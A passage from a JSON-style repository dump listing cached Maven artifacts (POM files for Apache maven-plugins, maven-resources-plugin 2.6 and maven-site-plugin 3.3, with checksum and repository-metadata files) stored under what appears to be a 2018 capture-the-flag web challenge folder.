</plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>${mavenPluginToolsVersion}</version>\n          <executions>\n            <execution>\n              <id>default-descriptor</id>\n              <phase>process-classes</phase>\n            </execution>\n            <execution>\n              <id>generated-helpmojo</id>\n              <goals>\n                <goal>helpmojo</goal>\n              </goals>\n              <configuration><!-- TODO: remove when upgrading plugin-tools to 3.4: see MPLUGIN-238 -->\n                <skipErrorNoDescriptorsFound>true</skipErrorNoDescriptorsFound>\n              </configuration>\n            </execution>\n          </executions>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-plugin-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-scm-publish-plugin</artifactId>\n        <configuration>\n          <content>${project.reporting.outputDirectory}</content><!-- plugins are mono-module, no real need for site:stage -->\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-enforcer-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>enforce</goal>\n            </goals>\n            <id>ensure-no-container-api</id>\n            <configuration>\n              <rules>\n                <bannedDependencies>\n                  <excludes>\n                    <exclude>org.codehaus.plexus:plexus-component-api</exclude>\n                  </excludes>\n                  <message>The new containers are not supported. You probably added a dependency that is missing the exclusions.</message>\n                </bannedDependencies>\n              </rules>\n              <fail>true</fail>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-plugin-plugin</artifactId>\n        <version>${mavenPluginToolsVersion}</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>quality-checks</id>\n      <activation>\n        <property>\n          <name>quality-checks</name>\n          <value>true</value>\n        </property>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-docck-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>docck-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>run-its</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-invoker-plugin</artifactId>\n            <configuration>\n              <debug>true</debug>\n              <projectsDirectory>src/it</projectsDirectory>\n              <cloneProjectsTo>${project.build.directory}/it</cloneProjectsTo>\n              <preBuildHookScript>setup</preBuildHookScript>\n              <postBuildHookScript>verify</postBuildHookScript>\n              <localRepositoryPath>${project.build.directory}/local-repo</localRepositoryPath>\n              <settingsFile>src/it/settings.xml</settingsFile>\n              <pomIncludes>\n                <pomInclude>*/pom.xml</pomInclude>\n              </pomIncludes>\n            </configuration>\n            <executions>\n              <execution>\n                <id>integration-test</id>\n                <goals>\n                  <goal>install</goal>\n                  <goal>integration-test</goal>\n                  <goal>verify</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-invoker-plugin</artifactId>\n            <version>1.9</version>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!-- This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <!-- if releasing current pom with Maven 3, site descriptor must be attached -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-site-plugin</artifactId>\n            <inherited>false</inherited>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>        \n      </build>   \n    </profile>\n    <profile>\n      <id>maven-2</id>\n      <activation>\n        <file>\n          <!--  This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <missing>${basedir}</missing>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-plugin-plugin</artifactId>\n            <configuration>\n              <!-- see http://jira.codehaus.org/browse/MNG-5346 -->\n              <skipErrorNoDescriptorsFound>true</skipErrorNoDescriptorsFound>\n            </configuration>\n            <executions>\n              <execution>\n                <id>mojo-descriptor</id>\n                <goals><!-- Maven 2 does not support phase overriding: need to add an execution -->\n                  <goal>descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>    \n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/27/maven-plugins-27.pom.sha1",
    "content": "7266e797e06d1b9010c6df97cb060a75f0fd4dbc"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-resources-plugin/2.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:29 CST 2018\nmaven-resources-plugin-2.6.jar>central=\nmaven-resources-plugin-2.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-resources-plugin/2.6/maven-resources-plugin-2.6.jar.sha1",
    "content": "dd093ff6a4b680eae7ae83b5ab04310249fc6590"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-resources-plugin/2.6/maven-resources-plugin-2.6.pom",
    "content": "<?xml version='1.0' encoding='UTF-8'?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>maven-plugins</artifactId>\n    <groupId>org.apache.maven.plugins</groupId>\n    <version>23</version>\n    <relativePath>../maven-plugins/pom.xml</relativePath>\n  </parent>\n\n  <artifactId>maven-resources-plugin</artifactId>\n  <version>2.6</version>\n  <packaging>maven-plugin</packaging>\n\n  <name>Maven Resources Plugin</name>\n  <description>\n    The Resources Plugin handles the copying of project resources to the output\n    directory. There are two different kinds of resources: main resources and test resources. The\n    difference is that the main resources are the resources associated to the main\n    source code while the test resources are associated to the test source code.\n    Thus, this allows the separation of resources for the main source code and its\n    unit tests.\n  </description>\n  <inceptionYear>2001</inceptionYear>\n\n  <prerequisites>\n    <maven>${mavenVersion}</maven>\n  </prerequisites>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/plugins/tags/maven-resources-plugin-2.6</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/plugins/tags/maven-resources-plugin-2.6</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/plugins/tags/maven-resources-plugin-2.6</url>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/MRESOURCES</url>\n  </issueManagement>\n\n  <properties>\n    <mavenFilteringVersion>1.1</mavenFilteringVersion>\n    <mavenVersion>2.0.6</mavenVersion>\n    <mavenPluginPluginVersion>3.1</mavenPluginPluginVersion>\n  </properties>\n\n  <contributors>\n    <contributor>\n      <name>Graham Leggett</name>\n    </contributor>\n  </contributors>\n    \n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-api</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-project</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-core</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-settings</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-monitor</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n      <version>1.0-alpha-9-stable-1</version>\n    </dependency>\n\n    <dependency>\n      <groupId>org.apache.maven.plugin-tools</groupId>\n      <artifactId>maven-plugin-annotations</artifactId>\n      <version>${mavenPluginPluginVersion}</version>\n      <scope>provided</scope>\n    </dependency>\n\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n      <version>2.0.5</version>\n    </dependency>\n\n    <dependency>\n      <groupId>org.apache.maven.shared</groupId>\n      <artifactId>maven-filtering</artifactId>\n      <version>${mavenFilteringVersion}</version>\n    </dependency>\n\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-interpolation</artifactId>\n      <version>1.13</version>\n    </dependency>\n\n    <dependency>\n      <groupId>org.apache.maven.shared</groupId>\n      <artifactId>maven-plugin-testing-harness</artifactId>\n      <version>1.0-beta-1</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>commons-io</groupId>\n      <artifactId>commons-io</artifactId>\n      <version>1.4</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>${mavenPluginPluginVersion}</version>\n          <configuration>\n            <skipErrorNoDescriptorsFound>true</skipErrorNoDescriptorsFound>\n          </configuration>\n          <executions>\n            <execution>\n              <id>mojo-descriptor</id>\n              <goals>\n                <goal>descriptor</goal>\n              </goals>\n            </execution>\n            <execution>\n              <id>help-goal</id>\n              <goals>\n                <goal>helpmojo</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <reporting>\n     <plugins>\n       <plugin>\n         <groupId>org.apache.maven.plugins</groupId>\n         <artifactId>maven-plugin-plugin</artifactId>\n         <version>${mavenPluginPluginVersion}</version>\n       </plugin>\n     </plugins>\n   </reporting>\n\n  <profiles>\n    <profile>\n      <id>run-its</id>\n      <build>\n        <pluginManagement>\n          <plugins>\n            <plugin>\n              <groupId>org.apache.maven.plugins</groupId>\n              <artifactId>maven-invoker-plugin</artifactId>\n              <version>1.7</version>\n              <configuration>\n                <debug>true</debug>\n                <postBuildHookScript>verify</postBuildHookScript>\n                <localRepositoryPath>${project.build.directory}/local-repo</localRepositoryPath>\n                <goals>\n                  <goal>clean</goal>\n                  <goal>process-test-resources</goal>\n                </goals>\n                <settingsFile>src/it/settings.xml</settingsFile>\n                <cloneProjectsTo>${project.build.directory}/it</cloneProjectsTo>\n                <properties>\n                  <execProps>fromExecProps</execProps>\n                </properties>\n              </configuration>\n            </plugin>\n          </plugins>\n        </pluginManagement>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jar-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>test-jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.plexus</groupId>\n            <artifactId>plexus-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>test-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>          \n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-resources-plugin/2.6/maven-resources-plugin-2.6.pom.sha1",
    "content": "5db5c3a879f31e8de7b580c79a52b245454c4620"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-site-plugin/3.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:56 CST 2018\nmaven-site-plugin-3.3.pom>central=\nmaven-site-plugin-3.3.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-site-plugin/3.3/maven-site-plugin-3.3.jar.sha1",
    "content": "77ba1752b1ac4c4339d6f11554800960a56a4ae1"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-site-plugin/3.3/maven-site-plugin-3.3.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven-plugins</artifactId>\n    <groupId>org.apache.maven.plugins</groupId>\n    <version>24</version>\n    <relativePath>../maven-plugins/pom.xml</relativePath>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-site-plugin</artifactId>\n  <packaging>maven-plugin</packaging>\n  <name>Maven Site Plugin 3</name>\n  <version>3.3</version>\n  <description>The Maven Site Plugin is a plugin that generates a site for the current project.</description>\n  <prerequisites>\n    <maven>${prerequisiteMavenVersion}</maven>\n  </prerequisites>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/MSITE</url>\n  </issueManagement>\n  <contributors>\n    <contributor>\n      <name>Naoki Nose</name>\n      <email>ikkoan@mail.goo.ne.jp</email>\n      <roles>\n        <role>Japanese translator</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Michael Wechner</name>\n      <email>michael.wechner@wyona.com</email>\n      <roles>\n        <role>German translator</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Christian Schulte</name>\n      <email>cs@schulte.it</email>\n      <roles>\n        <role>German translator</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Piotr Bzdyl</name>\n      <email>piotr@bzdyl.net</email>\n      <roles>\n        <role>Polish translator</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Domingos Creado</name>\n      <email>dcreado@users.sf.net</email>\n      <roles>\n        <role>Brazilian Portuguese translator</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>John Allen</name>\n      <email>john_h_allen@hotmail.com</email>\n    </contributor>\n    <contributor>\n      <name>Laszlo Hornyak Kocka</name>\n      <email>laszlo.hornyak@gmail.com</email>\n      <roles>\n        <role>Hungarian translator</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Hermod Opstvedt</name>\n      <email>hermod.opstvedt@dnbnor.no</email>\n      <roles>\n        <role>Norwegian translator</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Yue Ni</name>\n      <email>ni2yue4@gmail.com</email>\n      <roles>\n        <role>Chinese translator</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Arturo Vazquez</name>\n      <email>vaz@root.com.mx</email>\n      <roles>\n        <role>Spanish translator</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Woonsan Ko</name>\n      <email>woon_san@yahoo.com</email>\n      <roles>\n        <role>Korean translator</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Martin Vysny</name>\n      <email>mvy@whitestein.com</email>\n      <roles>\n        <role>Slovak translator</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Petr Ferschmann</name>\n      <email>pferschmann@softeu.com</email>\n      <roles>\n        <role>Czech translator</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Kristian Mandrup</name>\n      <email>kristian@mandrup.dk</email>\n      <roles>\n        <role>Danish translator</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Samuel Santos</name>\n      <email>samaxes@gmail.com</email>\n      <roles>\n        <role>Portuguese translator</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Mindaugas Greibus</name>\n      <email>spantus@gmail.com</email>\n      <roles>\n        <role>Lithuanian translator</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Marvin Froeder</name>\n      <email>velo.br@gmail.com</email>\n      <roles>\n        <role>msite-504</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Yevgeny Nyden</name>\n      <email>yev@curre.net</email>\n      <roles>\n        <role>Russian translator</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Daniel Fernández</name>\n      <email>daniel.fernandez.garrido@gmail.com</email>\n      <roles>\n        <role>Galician translator</role>\n      </roles>\n    </contributor>\n  </contributors>\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/plugins/tags/maven-site-plugin-3.3</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/plugins/tags/maven-site-plugin-3.3</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/plugins/tags/maven-site-plugin-3.3</url>\n  </scm>\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>${mavenPluginPluginVersion}</version>\n          <configuration>\n            <skipErrorNoDescriptorsFound>true</skipErrorNoDescriptorsFound>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <releaseProfiles>apache-release,rat,run-its</releaseProfiles>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-metadata</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>generate-metadata</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <artifactId>maven-plugin-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>mojo-descriptor</id>\n            <goals>\n              <goal>descriptor</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <artifactId>maven-shade-plugin</artifactId>\n        <version>1.4</version>\n        <executions>\n          <execution>\n            <phase>package</phase>\n            <goals>\n              <goal>shade</goal>\n            </goals>\n            <configuration>\n              <artifactSet>\n                <includes>\n                  <include>org.apache.maven.reporting:maven-reporting-api</include>\n                  <include>org.apache.maven:maven-artifact</include>\n                </includes>\n              </artifactSet>\n              <filters>\n                <filter>\n                  <artifact>org.apache.maven.reporting:maven-reporting-api</artifact>\n                  <includes>\n                    <include>**/MavenMultiPageReport.class</include>\n                  </includes>\n                </filter>\n                <filter>\n                  <artifact>org.apache.maven:maven-artifact</artifact>\n                  <includes>\n                    <include>**/ComparableVersion.class</include>\n                    <include>**/ComparableVersion$*.class</include>\n                  </includes>\n                </filter>\n              </filters>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n  <profiles>\n    <profile>\n      <id>run-its</id>\n      <build>\n        <pluginManagement>\n          <plugins>\n            <plugin>\n              <artifactId>maven-invoker-plugin</artifactId>\n              <version>1.8</version>\n              <configuration>\n                <cloneProjectsTo>/home/herve/projets/maven/trunks/plugins/maven-site-plugin/target/checkout/target/it</cloneProjectsTo>\n                <showVersion>true</showVersion>\n                <postBuildHookScript>verify</postBuildHookScript>\n                <localRepositoryPath>/home/herve/projets/maven/trunks/plugins/maven-site-plugin/target/checkout/target/local-repo</localRepositoryPath>\n                <goals>\n                  <goal>clean</goal>\n                  <goal>org.apache.maven.plugins:maven-site-plugin:3.3:site</goal>\n                </goals>\n                <settingsFile>src/it/settings.xml</settingsFile>\n              </configuration>\n            </plugin>\n          </plugins>\n        </pluginManagement>\n      </build>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>l10n-maven-plugin</artifactId>\n            <version>1.0-alpha-2</version>\n            <configuration>\n              <locales>\n                <locale>ca</locale>\n                <locale>cs</locale>\n                <locale>da</locale>\n                <locale>de</locale>\n                <locale>es</locale>\n                <locale>fr</locale>\n                <locale>gl</locale>\n                <locale>hu</locale>\n                <locale>it</locale>\n                <locale>ja</locale>\n                <locale>ko</locale>\n                <locale>lt</locale>\n                <locale>nl</locale>\n                <locale>no</locale>\n                <locale>pl</locale>\n                <locale>pt</locale>\n                <locale>pt_BR</locale>\n                <locale>ru</locale>\n                <locale>sk</locale>\n                <locale>sv</locale>\n                <locale>tr</locale>\n                <locale>zh_CN</locale>\n                <locale>zh_TW</locale>\n              </locales>\n            </configuration>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n    <profile>\n      <id>dev</id>\n      <build>\n        <pluginManagement>\n          <plugins>\n            <plugin>\n              <artifactId>maven-site-plugin</artifactId>\n              <version>${project.version}</version>\n            </plugin>\n          </plugins>\n        </pluginManagement>\n      </build>\n    </profile>\n  </profiles>\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven.reporting</groupId>\n      <artifactId>maven-reporting-exec</artifactId>\n      <version>1.1</version>\n      <scope>compile</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>aether-api</artifactId>\n          <groupId>org.eclipse.aether</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>aether-api</artifactId>\n          <groupId>org.sonatype.aether</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>aether-impl</artifactId>\n          <groupId>org.sonatype.aether</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>aether-spi</artifactId>\n          <groupId>org.sonatype.aether</groupId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-compat</artifactId>\n      <version>3.0</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-core</artifactId>\n      <version>3.0</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n      <version>3.0</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-api</artifactId>\n      <version>3.0</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-settings</artifactId>\n      <version>3.0</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-settings-builder</artifactId>\n      <version>3.0</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-archiver</artifactId>\n      <version>2.4.2</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.plugin-tools</groupId>\n      <artifactId>maven-plugin-annotations</artifactId>\n      <version>3.2</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-sink-api</artifactId>\n      <version>1.4</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-logging-api</artifactId>\n      <version>1.4</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-core</artifactId>\n      <version>1.4</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-module-xhtml</artifactId>\n      <version>1.4</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-module-apt</artifactId>\n      <version>1.4</version>\n      <scope>runtime</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-module-xdoc</artifactId>\n      <version>1.4</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-module-fml</artifactId>\n      <version>1.4</version>\n      <scope>runtime</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-module-markdown</artifactId>\n      <version>1.4</version>\n      <scope>runtime</scope>\n    </dependency>\n    <dependency>\n      <groupId>javax.servlet</groupId>\n      <artifactId>servlet-api</artifactId>\n      <version>2.5</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-decoration-model</artifactId>\n      <version>1.4</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-site-renderer</artifactId>\n      <version>1.4</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-integration-tools</artifactId>\n      <version>1.5</version>\n      <scope>compile</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>maven-artifact-manager</artifactId>\n          <groupId>org.apache.maven</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>maven-repository-metadata</artifactId>\n          <groupId>org.apache.maven</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>maven-project</artifactId>\n          <groupId>org.apache.maven</groupId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-provider-api</artifactId>\n      <version>1.0</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-webdav-jackrabbit</artifactId>\n      <version>1.0</version>\n      <scope>test</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>slf4j-nop</artifactId>\n          <groupId>org.slf4j</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>wagon-http-shared</artifactId>\n          <groupId>org.apache.maven.wagon</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>jackrabbit-webdav</artifactId>\n          <groupId>org.apache.jackrabbit</groupId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-archiver</artifactId>\n      <version>1.0</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-i18n</artifactId>\n      <version>1.0-beta-7</version>\n      <scope>compile</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>plexus-component-api</artifactId>\n          <groupId>org.codehaus.plexus</groupId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.velocity</groupId>\n      <artifactId>velocity</artifactId>\n      <version>1.5</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-velocity</artifactId>\n      <version>1.1.8</version>\n      <scope>compile</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>velocity</artifactId>\n          <groupId>velocity</groupId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n      <version>1.5.10</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.mortbay.jetty</groupId>\n      <artifactId>jetty</artifactId>\n      <version>6.1.25</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.mortbay.jetty</groupId>\n      <artifactId>jetty-util</artifactId>\n      <version>6.1.25</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.mortbay.jetty</groupId>\n      <artifactId>jetty-client</artifactId>\n      <version>6.1.25</version>\n      <scope>test</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>jetty-sslengine</artifactId>\n          <groupId>org.mortbay.jetty</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>jetty-util5</artifactId>\n          <groupId>org.mortbay.jetty</groupId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.slf4j</groupId>\n      <artifactId>slf4j-api</artifactId>\n      <version>1.5.3</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.slf4j</groupId>\n      <artifactId>slf4j-simple</artifactId>\n      <version>1.5.3</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      